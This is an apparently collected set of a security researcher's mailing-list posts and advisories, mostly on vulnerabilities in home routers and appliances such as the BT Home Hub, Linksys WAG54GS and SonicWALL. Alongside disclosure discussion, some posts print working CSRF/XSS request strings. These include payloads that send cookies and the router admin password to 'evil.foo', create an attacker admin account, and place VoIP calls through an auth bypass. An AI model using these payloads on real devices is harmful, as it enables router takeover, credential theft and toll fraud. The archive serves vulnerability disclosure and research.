Re: Chuck Norris Botnet and Broadband Routers

[Adrian P.]

It's no secret that there are tons of broadband routers/modems with
exposed admin interfaces (HTTP/SSH/Telnet/whatever) using default/weak
credentials.

While the Chuck Norris botnet is interesting in that it shows that the
problem is real, it shouldn't surprise anyone who has researched the
security of broadband embedded devices.

It's also not the first time an incident of this nature has happened.
I'm sure a lot of the list readers remember the mass-phishing attack
launched November 2007 [1] against several popular 2Wire broadband
routers in Mexico. The attack was accomplished by means of changing
the router's DNS settings via a CSRF hole on the web interface.

A similar issue used to exist on the BT Home Hub and was reported in
October 2007 [2] (a month earlier) where it was possible to compromise
the router by tricking a user to visit a malicious page. The payload
[3] would then exploit an authentication bypass and CSRF vulnerability
in order to enable the "remote assistance" feature. (The intended
purpose of this feature was to allow BT engineers to remotely
troubleshoot home routers.) The attacker could then login remotely to
the router with admin privileges using a password of his choice (set
in the actual exploit payload).

And of course there is the infamous BeThere backdoor admin account
reported in February 2007 which you mentioned in your article [4].

The security of home-grade embedded devices has a long way to go. I
think that the home router hacking challenge [5] [6] confirmed this by
showing that many of these devices are affected by serious
vulnerabilities, many of which are trivially exploitable.

I couldn't agree more that ISPs do need to take responsibility and
ensure that new modem/router builds are audited for common security
issues before being distributed to their broadband customers.


ap

[1] http://www.hispasec.com/unaaldia/3313
[2] http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub/
[3] http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4/
[4] http://blogs.securiteam.com/index.php/archives/826
[5] http://www.gnucitizen.org/projects/router-hacking-challenge/
[6] http://marc.info/?l=bugtraq&m=120441195905480&w=2

On Mon, Feb 22, 2010 at 2:22 PM, Gadi Evron  wrote:
> Last week Czech researchers released information on a new worm which
> exploits CPE devices (broadband routers) by means such as default passwords,
> constructing a large DDoS botnet. Today this story hit international news.
>
> Original Czech:
> http://praguemonitor.com/2010/02/16/czech-experts-uncover-global-virus-network
>
> English:
> http://www.pcworld.com/businesscenter/article/189868/chuck_norris_botnet_karatechops_routers_hard.html
>
> When I raised this issue before in 2007 on NANOG, some other vetted mailing
> lists and on CircleID, the consensus was that the vendors will not change
> their position on default settings unless "something happens", I guess this
> is it, but I am not optimistic on seeing activity from vendors on this now,
> either.
>
> CircleID story 1:
> http://www.circleid.com/posts/broadband_routers_botnets/
>
> CircleID story 2:
> http://www.circleid.com/posts/broadband_router_insecurity/
>
> The spread of insecure broadband modems (DSL and Cable) is extremely
> wide-spread, with numerous ISPs, large and small, whose entire (read
> significant portions of) broadband population is vulnerable. In tests Prof.
> Randy Vaughn and I conducted with some ISPs in 2007-8 the results have not
> been promising.
>
> Further, many of these devices world wide serve as infection mechanisms for
> the computers behind them, with hijacked DNS that points end-users to
> malicious web sites.
>
> On the ISPs end, much like in the early days of botnets, many service
> providers did not see these devices as their responsibility -- even though
> in many cases they are the providers of the systems, and these posed a
> potential DDoS threat to their networks. As a mind-set, operationally taking
> responsibility for devices located at the homes of end users made no sense,
> and therefore the stance ISPs took on this issue was understandable, if
> irresponsible.
>
> As we can't rely on the vendors, ISPs should step up, and at the very least
> ensure that devices they provide to their end users are properly set up (a
> significant number of iSPs already pre-configure them for support purposes).
>
> The Czech researchers have done a good job and I'd like to thank them for
> sharing their research with us.
>
> In this article by Robert McMillan, some details are shared in English:
>
> --
> Discovered by Czech researchers, the botnet has been spreading by taking
> advantage of poorly configured routers and DSL modems, according to Jan
> Vykopal, the head of the network security department with Masaryk
> University's Institute of Computer Science in Brno, Czech Republic.
>
> The malware got the Chuck Norris moniker from a programmer's Italian comment
> in its source code: "in nome di C

Corsaire White Paper: Attacking Magstripe Gift Cards

[Adrian P.]

Hi there,

We just published a research paper on the topic of attacking magstripe
gift cards with a focus on unauthorized purchases. It is based on
research conducted on a large number of UK gift cards.

The paper also provides a series of guidelines and tips for developers
and systems architects who are involved in the process of implementing
their own gift card technology.

http://research.corsaire.com/whitepapers/technical.html

Multiple Remote Command Execution vulnerabilities on Avaya Intuity Audix LX (plus some client-side bugs)

[Adrian P]

It appears that most diagnostic CGI perl scripts that take
user-supplied input are vulnerable to Remote Command Execution. These
scripts are located on '/html/cswebadm/basic/cgi-bin/'. All the RCE
vulnerabilities discovered were tested with an authenticated session
using the 'craft' account. These vulnerabilities might also be
exploitable by less-privileged accounts, but this has NOT been tested.

The web interface of Avaya Intuity AUDIX LX is also vulnerable to XSS
and CSRF which can be used in conjunction with the RCE vulnerabilities
in different exploitation scenarios.

Successfully tested on: Avaya IntuityTM AUDIX LX R1.1. Other versions
might also be affected. Avaya has stated that IALX 1.1, which was
discontinued in 2007, is the latest vulnerable version. IALX 2.0 SP2
is not vulnerable according to Avaya.

Complete technical details can be found in the following document:

http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf

-- 
pagvac | GNUCITIZEN.org

CVE-2009-1151: phpMyAdmin Remote Code Execution Proof of Concept

[Adrian P.]

I couldn’t find any public PoC for this phpMyAdmin vulnerability, so I
wrote one:

http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/

Re: XMLHttpRequest file upload vulnerability Chrome 2 & Safari 3

[Adrian P.]

it's always been possible to steal local files if you can convince a
user to open a "harmless" html file from their local filesystem. this
is possible because the scripting code runs within local context (in
FF terminology - not sure what Safari calls it).

last time i checked [1] [2] FF didn't even issue a warning when
opening a local file with scripting code in it, although i haven't
checked in the case of Safari

[1] http://www.gnucitizen.org/blog/web-pages-from-hell-2/
[2] http://marc.info/?l=bugtraq&m=116386919506057&w=2

On Tue, Jun 9, 2009 at 5:33 PM,  wrote:
>
> .html can be crafted to force a unaware user to read file from local, and 
> then possibly send it to a server.
>
> var method = "GET"
> var URL = "file:///C:/argentina/bsas_junin.txt"
> xmlhttp.open( method, URL, true)
>
> This type of request is possible if file is on user local  in the user hard 
> disk (CHROME2), in other browser I was able to do the same but with a LAN 
> access to file, no need to write in local hard disk (SAFARI3)
>
>
> if (xmlhttp != null) {
>        xmlhttp.open( method, URL, true)
>        xmlhttp.onreadystatechange=function(){
>        if (xmlhttp.readyState==4) {
>           alert(URL + "\n\n" + xmlhttp.responseText)
>                }
>                }
>        }
>
> this is a valid operation javascript can read then xmlhttp.responseText, yes 
> the file content.
>
> After this you can do whatever you want whit the file.
>
> note that you MUST know the file path!!
>
> crafted by: federico.lanusse
> pantera_bl...@hotmail.com
> federico.lanu...@clarolab.com
>
> company: clarolab QA team
> yeah! lets rock Ateam!!
>
> Chrome ISSUE, with attached POC.
> http://code.google.com/p/chromium/issues/detail?id=13671
>

Re: [WEB SECURITY] countermeasure against attacks through HTML shared files

[Adrian P.]

Hi Francisco,

It would have been cool to mention Microsoft SharePoint as an example of
a popular file sharing system that allows persistent XSS through shared
HTML files. i.e.:

https://moss.company.foo/_catalogs/users/Attachments//evil.html
https://moss.company.foo///evil.html

Where 'evil.html' would be a page containing JavaScript. i.e.:




alert(document.domain)






Thanks for your paper btw.

[EMAIL PROTECTED] wrote:
> Hello,
> 
> I wanted to announce a Pomcor white paper that
> looks at attacks through HTML shared files in Web
> applications and proposes a countermeasure.  These
> are essentially XSS attacks, but the usual
> defenses against XSS are typically not available,
> because shared files cannot be sanitized.
> 
> The paper is available at:
> 
> http://www.pomcor.com/whitepapers/file_sharing_security.pdf
> 
> I have not been able to find much prior work.
> What I've found is discussed in Section 2 of the
> paper.  If I've missed something, please let me
> know.
> 
> Thanks,
> 
> Francisco Corella
> 
> 
> 
> 
> 
> Join us on IRC: irc.freenode.net #webappsec
> 
> Have a question? Search The Web Security Mailing List Archives: 
> http://www.webappsec.org/lists/websecurity/archive/
> 
> Subscribe via RSS: 
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
> 
> Join WASC on LinkedIn
> http://www.linkedin.com/e/gis/83336/4B20E4374DBA
> 

-- 
Adrian P. | Senior IT Security Consultant | DDI: +44 (0)207 307 5026 |
PGP Key ID: 0x06E653A6

Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day

[Adrian P]

Hi Fionnbharr,

Well, that's fair enough. tbh, I couldn't find older examples, but
this is one of the points of sending a post to the lists: other people
can review it and give feedback. I just sometimes wished people were
more constructive on FD.

Regarding the paper, well, it can be useful for people who want to
find a similar issue in their firewall/proxy appliances. Don't you
think?

No need to call anyone names IMO. And please, why do people keep
attacking Kaminsky? He has greatly contributed to the infosec
community so please give him some credit!

Thanks for your email anyway. Perhaps, you could have expressed
yourself in a less aggressive/more constructive manner?

Regards,
ap.

On Fri, Oct 31, 2008 at 10:18 PM, Fionnbharr <[EMAIL PROTECTED]> wrote:
> Sure, this attack vector has been 'discovered' by lots of people in
> the past, or even concurrently, thats my point. It doesn't merit a
> whole paper on it. Not to mention you're getting on the FUD/Kaminsky
> bandwagon when GNUtards release a statement like 'New technique to
> universally hijack websites', trying to get some media attention for
> something everyone else already knew.
>
> re: the bluecoat vuln, if you read my post I just said it was a recent
> (or as you might put it, *recent*) example of this type of
> vulnerability. I've this sort of vuln myself with client software and
> so has a number of other people I know. Glad to see the majority of
> your email is completely irrelevant.
>
>
> 2008/11/1 Adrian P <[EMAIL PROTECTED]>:
>> Hello Fionnbharr,
>>
>> Please see my response to your comments in-line.
>>
>> On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr <[EMAIL PROTECTED]> wrote:
>>> This isn't new. It isn't even a technique.
>>>
>>> http://www.bluecoat.com/support/securityadvisories/icap_patience
>>>
>>> A very recent example of this kind of vulnerability. My god you
>>> gnucitizen people are retarded. At least you didn't give it a
>>> ridiculous name like 'clickjacking'. Can you GNUtards please keep your
>>> 'research' into subjects people already know to yourself or at least
>>> not post it the lists, then at least I won't have to see it.
>>
>> That Bluecoat advisory was released on 29 September 2008. What makes
>> you think that I did not discover the SonicWALL vulnerability/vector
>> and reported it to ZDI *way before* that date? Well, FYI I reported it
>> to ZDI in June 2008 and discovered it even before.
>>
>> At least, you should consider the possibility of the attack vector
>> being discovered by two researchers concurrently. It can take quite a
>> few months before the vendor provides a patch, not to mention that
>> SonicWALL was VERY slow to confirm the vulnerability.
>>
>> Don't you know that responsible disclosure means that the details of a
>> vulnerability can be held for quite a while before being released to
>> the public? Since when the publishing date of an advisory is equal to
>> discovery date?
>>
>> Furthermore, it appears that Bluecoat only released their advisory
>> *after* the researcher jplopezy made his advisory public, which could
>> suggest that he did NOT inform the vendor before releasing the
>> details:
>>
>> http://www.securityfocus.com/archive/1/496940/30/0/threaded
>>
>> It's also interesting that the researcher released the advisory
>> (bugtraq post) one day *after* I published the general description of
>> the attack:
>>
>> June 25th, 2008.
>> ZDI forwards my findings to SonicWALL (see "Disclosure Timeline"):
>> http://www.zerodayinitiative.com/advisories/ZDI-08-070/
>>
>> September 20th, 2008.
>> I publish the general description of the attack:
>> http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/
>>
>> September 21th, 2008.
>> Researcher jplopezy finds the same attack vector on BlueCoat's web filter:
>> http://www.securityfocus.com/archive/1/496577/30/0/threaded
>>
>> Notice jplopezy published the bugtraq post *one day after* I published
>> the general attack description on GNUCITIZEN. Interesting?
>>
>> Please do your homework before many any accusations.
>>
>>>
>>> Also "Malaysia: Cracking into Embedded Devices and Beyond!", who the
>>> fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for
>>> cracking passwords, but wow.
>>
>> Can't you accept the idea some some of us still consider hacking and
>> breaking into a s

Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day

[Adrian P]

Hello Fionnbharr,

Please see my response to your comments in-line.

On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr <[EMAIL PROTECTED]> wrote:
> This isn't new. It isn't even a technique.
>
> http://www.bluecoat.com/support/securityadvisories/icap_patience
>
> A very recent example of this kind of vulnerability. My god you
> gnucitizen people are retarded. At least you didn't give it a
> ridiculous name like 'clickjacking'. Can you GNUtards please keep your
> 'research' into subjects people already know to yourself or at least
> not post it the lists, then at least I won't have to see it.

That Bluecoat advisory was released on 29 September 2008. What makes
you think that I did not discover the SonicWALL vulnerability/vector
and reported it to ZDI *way before* that date? Well, FYI I reported it
to ZDI in June 2008 and discovered it even before.

At least, you should consider the possibility of the attack vector
being discovered by two researchers concurrently. It can take quite a
few months before the vendor provides a patch, not to mention that
SonicWALL was VERY slow to confirm the vulnerability.

Don't you know that responsible disclosure means that the details of a
vulnerability can be held for quite a while before being released to
the public? Since when the publishing date of an advisory is equal to
discovery date?

Furthermore, it appears that Bluecoat only released their advisory
*after* the researcher jplopezy made his advisory public, which could
suggest that he did NOT inform the vendor before releasing the
details:

http://www.securityfocus.com/archive/1/496940/30/0/threaded

It's also interesting that the researcher released the advisory
(bugtraq post) one day *after* I published the general description of
the attack:

June 25th, 2008.
ZDI forwards my findings to SonicWALL (see "Disclosure Timeline"):
http://www.zerodayinitiative.com/advisories/ZDI-08-070/

September 20th, 2008.
I publish the general description of the attack:
http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/

September 21th, 2008.
Researcher jplopezy finds the same attack vector on BlueCoat's web filter:
http://www.securityfocus.com/archive/1/496577/30/0/threaded

Notice jplopezy published the bugtraq post *one day after* I published
the general attack description on GNUCITIZEN. Interesting?

Please do your homework before many any accusations.

>
> Also "Malaysia: Cracking into Embedded Devices and Beyond!", who the
> fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for
> cracking passwords, but wow.

Can't you accept the idea some some of us still consider hacking and
breaking into a system not necessarily the same thing?

Regards,
ap.

>
> 2008/10/31 Adrian P <[EMAIL PROTECTED]>:
>> Hello folks,
>>
>> Yesterday, I presented for the first time [1] a new method to perform
>> universal website hijacking by exploiting content filtering features
>> commonly supported by corporate firewalls. I briefly discussed [2] the
>> finding on GNUCITIZEN in the past without giving away the details, but
>> rather mentioning what the attacker can do and some characteristics of
>> the attack.
>>
>> Anyway, I'm now releasing full details on how the technique works, and
>> a real 0day example against SonicWALL firewalls.
>>
>> The paper can be found on the GNUCITIZEN labs site. Please let me know
>> if you can successfully use the same technique against firewalls by
>> other vendors:
>>
>> http://sites.google.com/a/gnucitizen.org/lab/research-papers
>>
>> Finally, I'd like to thank Zero Day Initiative [3] for their great
>> work and the Hack in the Box crew for organizing such a fine event!
>>
>> Regards,
>> ap.
>>
>> REFERENCES
>>
>> [1] "HITBSecConf2008 - Malaysia: Cracking into Embedded Devices and Beyond!"
>> http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=186
>>
>> [2] "New technique to perform universal website hijacking"
>> http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/
>>
>> [3] "SonicWALL Content-Filtering Universal Script Injection Vulnerability"
>> http://www.zerodayinitiative.com/advisories/ZDI-08-070/
>>
>> --
>> Adrian "pagvac" Pastor | GNUCITIZEN
>> gnucitizen.org
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>

Re: Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day

[Adrian P.]

Hi sipherr,

The issue you referenced seems to only affect blocked sites (i.e.:
adware sites). The SonicWALL issue I reported allows you to hijack
*any site* (universal XSS) - including NON-blocked sites - by simply
inserting a swearword in the target site's URL. i.e.:

http://google.com/fuck#location='http://evil.foo/
'+document.cookie">Click me!

Furthermore, the advisory you referenced explains how the script is
injected within the logs page, therefore the victim user can only be
the firewall administrator. The issue I reported allows you to attack
*any user* located in the LAN "protected" by the vulnerable SonicWALL
firewall.

Hope this makes sense.

Please see section "A REAL EXAMPLE AGAINST SONICWALL FIREWALLS" on the
following document for more details:

http://lab.gnucitizen.org/research-papers/Universal_website_hijacking_by_attacking_firew.pdf?attredirects=0

Regards,
ap.


On Fri, Oct 31, 2008 at 5:15 PM,  <[EMAIL PROTECTED]> wrote:
> http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-05/0154.html
>
> Thanks,
>
> sipher
>

Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day

[Adrian P]

Hello folks,

Yesterday, I presented for the first time [1] a new method to perform
universal website hijacking by exploiting content filtering features
commonly supported by corporate firewalls. I briefly discussed [2] the
finding on GNUCITIZEN in the past without giving away the details, but
rather mentioning what the attacker can do and some characteristics of
the attack.

Anyway, I'm now releasing full details on how the technique works, and
a real 0day example against SonicWALL firewalls.

The paper can be found on the GNUCITIZEN labs site. Please let me know
if you can successfully use the same technique against firewalls by
other vendors:

http://sites.google.com/a/gnucitizen.org/lab/research-papers

Finally, I'd like to thank Zero Day Initiative [3] for their great
work and the Hack in the Box crew for organizing such a fine event!

Regards,
ap.

REFERENCES

[1] "HITBSecConf2008 - Malaysia: Cracking into Embedded Devices and Beyond!"
http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=186

[2] "New technique to perform universal website hijacking"
http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/

[3] "SonicWALL Content-Filtering Universal Script Injection Vulnerability"
http://www.zerodayinitiative.com/advisories/ZDI-08-070/

-- 
Adrian "pagvac" Pastor | GNUCITIZEN
gnucitizen.org

Call Jacking: Phreaking the BT Home Hub

[Adrian P]

http://www.gnucitizen.org/blog/call-jacking

* Call Jacking: Phreaking the BT Home Hub *

OK, this is a bit of a funny attack - although it could also be used
for criminal purposes! After playing with the BT Home Hub for a while
(again!) [1], pdp and I discovered that attackers can steal/hijack
VoIP calls. Let me explain …

In summary, if the victim visits our evil proof-of-concept webpage,
his/her browser sends a HTTP request to the BT Home Hub's web
interface. After this, the Home Hub starts a VoIP/telephone connection
to the recipient's phone number specified in the exploit page. This is
what the attack looks like: the victim's VoIP telephone starts ringing
and shows an external call message on the LCD screen along with the
recipient's phone number. However, what's interesting is that from the
point of view of the victim, it looks like he/she is receiving a phone
call from the number shown on the screen, but in fact he/she is
calling that number! Sweet, simple and effective, just the way we like
it at GNUCITIZEN!

POST http://api.home/cgi/b/_voip_/stats//?ce=1&be=0&l0=-1&l1=-1&name=

0=30&1=00390669893461

Now, this attack will work even if the default admin password has been
changed on the BT Home Hub. Reason for this is that the exploit relies
on an authentication bypass vulnerability that we have reported [2] a
while ago and hasn't still been fixed by BT! In our original report,
we mentioned that the HTTP authentication mechanism can by bypassed by
using double slashes in the target URL. Actually, the authentication
can also be bypassed with many other characters, but I'll leave this
to the reader to discover.

The following are some attack scenarios in which this vulnerability
could be used for:

- annoyance or prank purposes
- advanced phishing attacks in which the victims gets a phone call
from "Trusted Bank" after clicking on a link included in the phishing
email. The fact that the attacker calls the victim's phone number
would help him/her gain the victim's trust. HINT: Phishers usually
don't know your phone number!
- toll fraud attacks in which the victim calls one of those very
expensive number that allow the bad guys to make good bucks by simply
starting the conversation

I don't want to repeat myself, but please remember that from the
victim point of view it looks like he is receiving a phone call but in
fact he is making/paying for the phone call!

And finally the boring (but needed) testing details: tested on BT Home
Hub firmware 6.2.6.B. Only customers using the BT Broadband Talk
service are affected by this attack.

launch: Call Jacking POC exploit




* About GNUCITIZEN *

GNUCITIZEN is a Cutting Edge, Ethical Hacker Outfit, Information Think
Tank, which primarily deals with all aspects of the art of hacking.
Our work has been featured in established magazines and information
portals, such as Wired, Eweek, The Register, PC Week, IDG, BBC and
many others. The members of the GNUCITIZEN group are well known and
well established experts in the Information Security, Black Public
Relations (PR) Industries and Hacker Circles with widely recognized
experience in the government and corporate sectors and the open source
community.



* References *

[1] http://www.google.com/search?q=site%3Agnucitizen.org+bt+home+hub

[2] http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4

-- 
pagvac
gnucitizen.org, ikwt.com

BT Home Flub: Pwnin the BT Home Hub (5) - exploiting IGDs remotely via UPnP

[Adrian P]

http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5

It's known that UPnP [1] is inherently insecure for a very simple
reason: administrative tasks can be performed on a Internet Gateway
Device (IGD) without needing to know the admin password whatsoever!
This on its own is quite scary and I personally feel that although
there is some research in the public domain, there is much more
attention that needs to be paid to UPnP.

UPnP allows you to perform administrative functions. Some functions
are very standardized and supported by most devices. Examples include
obtaining network settings, and enabling port forwarding rules. Other
functions are make/model specific. Some very scary functions such as
obtaining administrative username and password pairs have been
reported [2] in the past. As a reminder, this works without submitting
any administrative password whatsoever since UPnP is a
authenticationless protocol. On top of this, most IGDs support UPnP by
default.

After having read several UPnP security research materials I realized
that all the described attacks assume that the attacker (be it human
or malware) comes from inside the network. This post describes how to
exploit IGDs remotely via UPnP even when no services are publicly
available (WAN interface).


** Preauth XSS + SOAP payload = remote UPnP exploitation **

If you sniff yourself while running software that uses UPnP in the
background to help you configure your router, you'll see that UPnP is
nothing more than SOAP. Our AJAX knowledge tells us about a feature
that allows us to craft arbitrary XML requests: the XMLHttpRequest [3]
object. Trouble is, such object can only be used within the context of
the site that the requests are submitted to. So if we host the
malicious scripting code on a third-party site, and a victim user
located in the same LAN as the target IGD visits such page, the
request wouldn't go through due to XMLHttpRequest same-origin policy
restricition. Or put in a different way: you aren't allowed to make
XMLHttpRequests to any server except the server where your web page
came from.

However, if you find a pre-auth XSS vulnerability [4] on the target
device you can bypass such restriction. For instance, many devices
such as the BT Home Hub and Speedtouch routers offer certain pages
before authenticating. Some of these pages are cgi scripts which are
vulnerable to XSS. Although offering certain "useless" functionalities
before logging into the router might not seem like a big deal, it can
actually lead to UPnP being exploited remotely, even if the web admin
console is not visible from the Internet!

The following is a non-malicious proof-of-concept exploit which sets
up a port-forwarding rule from port 1337 on the WAN interface to port
445 on the internal IP address 192.168.1.64. Such IP address is the
first usable IP address reserved for clients connected to Speedtouch
and BT Home Hub routers. The exploit has been tested on BT Home Hub -
Firmware version 6.2.6.B. Just to make things clear, UPnP is enabled
by default on the BT Home Hub, just like most IGDs. If your Internet
gateway is a BT Home Hub, clicking on the following link should add a
new forward rule called EVILFORWARDRULE: ATTACK


In order to check if the port-forwarding rule was added successfully
you can use UPnP Port Forwarding Utility [5] and simply click on
"Update list now" after the device has been discovered (device name
should show on the top-left corner a few seconds later after launching
the tool). You could of course use the technique and code explained in
this post on any Internet gateway that supports UPnP and is a
vulnerable to a preauth XSS vulnerability. If you manage to
successfully test this attack on the BT Home Hub or any other device
please let us know!


** Zombie routers and the unvalidated NewInternalClient bug **

A bit of more UPnP hacking lead me to realize that the BT Home Hub is
vulnerable to the (in)famous unvalidated NewInternalClient bug. This
bug allows you to choose external IP addresses instead of a LAN IP
addresses as intended when setting up port-forwarding rules via UPnP.
In this case, I reused the previous code and changed the internal IP
address (192.168.1.64) in the NewInternalClient tag with the IP
address of a random Internet web server and the value of the
NewInternalPort tag to 80. This effectively allows an attacker to use
the vulnerable BT Home Hub router as a proxy - aka onion router. In
other words, when probing the router's NATed IP address on port 1337,
the attacker is effectively probing the IP address and port number
specified by the port-forwarding rule - except the routers IP address
would be shown in logs of the target web server, as opposed to the
attacker's real IP address. I thought this is a nice real example of
how a vu

Several persistent XSS and CSRF on Wireless-G ADSL Gateway with SpeedBooster (WAG54GS)

[Adrian P]

http://www.gnucitizen.org/blog/persistent-xss-and-csrf-on-wireless-g-adsl-gateway-with-speedbooster-wag54gs

The following vulns were found on 24 June 2007 and were tested against
firmware V1.00.06. The specific persistent XSS holes mentioned in this
advisory were fixed by Cisco on firmware version V1.01.03. However,
there are still several other persistent XSS plus the system-wide CSRF
in the latest firmware. CVE-2007-3574 has been assigned to these
issues. Thanks a lot to Cisco for being so great when dealing with my
emails! Credits also go to pdp for providing feedback, ideas and
allowing me to play with his spare WAG54GS router.

By the way, part of this advisory got leaked some time ago on FD, but
I am publishing it as a formal release with additional information
including a password leak which can be combined with any of the
persistent XSS holes found (keep reading for more info on this).

DESCRIPTION

There are several persistent XSS vulnerabilities on the '/setup.cgi'
script. It is possible to inject JavaScript by assigning a payload
like the following to any of the vulnerable parameters:

>[PAYLOAD]

The vulnerable (non-sanitized) parameters are the following: devname,
snmp_getcomm, snmp_setcomm, c4_trap_ip_. Additionally, all HTTP
requests are not tokenized with random values. Thus, all requests to
the router's HTTP interface are vulnerable to Cross-site Request
Forgeries (CSRF), perhaps by design. The following is an example of a
HTTP request (notice the lack of non-predictable tokens):

POST /setup.cgi HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=

mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=

Although the original request is a POST, we can convert it to a GET,
so that all posted parameters can be submitted on a single URL. For
example, the previous POST request can be converted to a URL such as
the following:

http://admin:[EMAIL 
PROTECTED]/setup.cgi?mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=

By forging administrative requests (Administration button on the
router's HTML menu), an attacker can compromise the router provided
the victim user visits a malicious URL or HTML page (which makes a
request to such malicious URL). The attack can only be successful if
the administrator hasn't changed the default credentials (admin/admin)
or the administrator's browser has an active authentication session
with the router's interface when the attack happens (highly unlikely)

PERSISTENT XSS POC:

The following URL creates a DoS condition by making the
"Administration" page inaccessible since 'history.back()' will run
every time the Administration page is visited. Thus the administrator
won't be able to ever change the default credentials unless a hard
reset is performed by using the router's physical "restart" switch:

http://admin:[EMAIL 
PROTECTED]/setup.cgi?user_list=1&sysname=admin&sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=">history.back()&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=

Note that he administration page
(/setup.cgi?next_file=Administration.htm) returns the admin password
within the client-side HTML source code as a hidden field. i.e.:



Therefore, we could also inject a payload in our persistent XSS attack
which accesses the admin password through the DOM object:

document.administration.old_pwd.value

…and submits it to the attacker's site every time the page is
accessed. That way, even if the victim admin changed the password, the
attacker would receive the value of the new password! Here is an
example payload:

">img=new
Image();img.src='http://evil.foo/?last_pwd='+document.administration.old_pwd.valuehttp://admin:[EMAIL 
PROTECTED]/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';
img2.src =
'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Admi

BT Home Flub: Pwnin the BT Home Hub

[Adrian P]

http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub

The BT Home Hub, which is probably the most popular home router in the
UK, is susceptible to critical vulnerabilities.

BT's plan is to sneak one of this boxes into every UK home. Not only
does the BT Home Hub support broadband but also VoIP (BT Broadband
Talk), UMA mobile telephony (BT Fusion), and digital TV (BT Vision).
Additionally, BT will give users the option to use their BT Home Hub to
join FON, a community-shared Wi-Fi. An unofficial source has reported
us that there are 2+ million BT Home Hub users in the UK.

If you're thinking: "well I'm not based in the UK so this research
doesn't concern me", then think again! The BT Home Hub is just a
Thomson/Alcatel Speedtouch 7G router. Furthermore, the vulnerabilities
we found are most likely present in other Speedtouch models due to
code reuse (more on that later).

So what can we do? Well, we can fully own the router remotely. At the
moment we have three demo exploits which do the following:

* enable backdoor in order to control the router remotely
* disable wireless completely (can only be re-enabled if the user
is technically capable)
* steal the WEP/WPA key

Of course there other other attacks you could launch! We can hijack
any action with full admin privileges or steal any info returned by a
router's page. This means evilness of the exploits are only limited by
the attacker's imagination. Other examples of evil attacks include
evesdropping VoIP conversations (change 'sip config primproxyaddr'
statement in config file), stealing VoIP credentials, exposing
internal hosts on the DMZ, change the DNS settings for stealing online
banking credentials, disable auto updates (change 'cwmp.ini' section
in config file), etc …

The only requirement for the router to be owned is that a victim user
visits a (malicious) website. The good news is that our exploits do
NOT require knowledge of the admin password! How can that be? Well, we
rely on a authentication bypass bug we discovered!

Even though I've been the owner of a BT Home Hub for quite a while, I
never bothered to try to find vulnerabilities in it. However, on the
last dc4420 meeting, after I gave a talk on breaking into Axis
cameras, some of the guys there inspired me to research the BT Home
Hub. After poking with if for a while, pdp and I couldn't believe how
vulnerable the web interface of the device was! I remember pdp
sarcastically saying: "wow, it's really locked down man!", We
discovered issues such as:

* authentication bypass (any admin action can be made without
username/password!)
* system-wide CSRF
* several persistent XSS
* several non-persistent XSS
* privilege escalation

We're now in the process of contacting BT and Thomson. However, I
don't have high hopes for BT. Last year, I found a way to dump the BT
Voyager 2091's config file without credentials. Even though I
forwarded them my findings they never responded at all.

Enjoy the demo video which was kindly prepared by pdp. We misspelled
some words on the chat conversation, so please forgive us! In the
video, the attacker social-engineers the victim to visit a malicious
website. The malicious website in turn enables remote assistance on
the victim's router with a password chosen by the attacker. After
that, the attacker gains full privileges to the router remotely, and
steals the config file and WEP key.

--
pagvac
gnucitizen.org, ikwt.com

2 vanilla XSS on Wordpress ‘wp-register.php’

[Adrian P]

There are two vanilla XSS on 'wp-register.php'. Only versions <=2.0.1
appear to be affected.

